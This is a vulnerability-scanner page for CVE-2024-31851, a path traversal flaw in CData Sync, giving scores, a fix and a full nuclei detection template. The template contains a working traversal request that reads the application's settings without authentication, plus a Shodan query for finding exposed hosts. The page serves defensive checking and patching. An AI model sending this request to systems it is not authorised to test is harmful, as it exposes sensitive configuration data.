Browse / CVEs / CVE-2024-31851
CVE-2024-31851· CWE-22
CData Sync < 23.4.8843 - Path Traversal
highseverity
8.6CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it
A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.
Impact
Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.
Fix
Update CData Sync to version 23.4.8843 or later.
How to confirm it
Send: GET {{BaseURL}}/login.rst
Positive when: contains "<title>CData - Sync"
Send: GET /ui/..\src\getSettings.rsb?@json
Positive when: contains "\"items\":[{" and ":\"true\"" and "notifyemail" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2024-31851 -u <target>
The full check
id: CVE-2024-31851
info:
name: CData Sync < 23.4.8843 - Path Traversal
author: DhiyaneshDK
severity: high
description: |
A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.
impact: |
Unauthenticated attackers can access sensitive information and perform limited unauthorized actions via path traversal.
remediation: |
Update CData Sync to version 23.4.8843 or later.
reference:
- https://www.tenable.com/security/research/tra-2024-09
- https://nvd.nist.gov/vuln/detail/CVE-2024-31851
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
cvss-score: 8.6
cve-id: CVE-2024-31851
cwe-id: CWE-22
epss-score: 0.02885
epss-percentile: 0.86986
metadata:
verified: true
max-request: 2
shodan-query: "title:\"CData Sync\""
tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- '{{BaseURL}}/login.rst'
matchers:
- type: word
internal: true
words:
- '<title>CData - Sync'
- raw:
- |
GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"items":[{'
- ':"true"'
- 'notifyemail'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200References
- https://www.tenable.com/security/research/tra-2024-09
- https://nvd.nist.gov/vuln/detail/CVE-2024-31851
Use this check only on systems you are authorised to test. Where the data comes from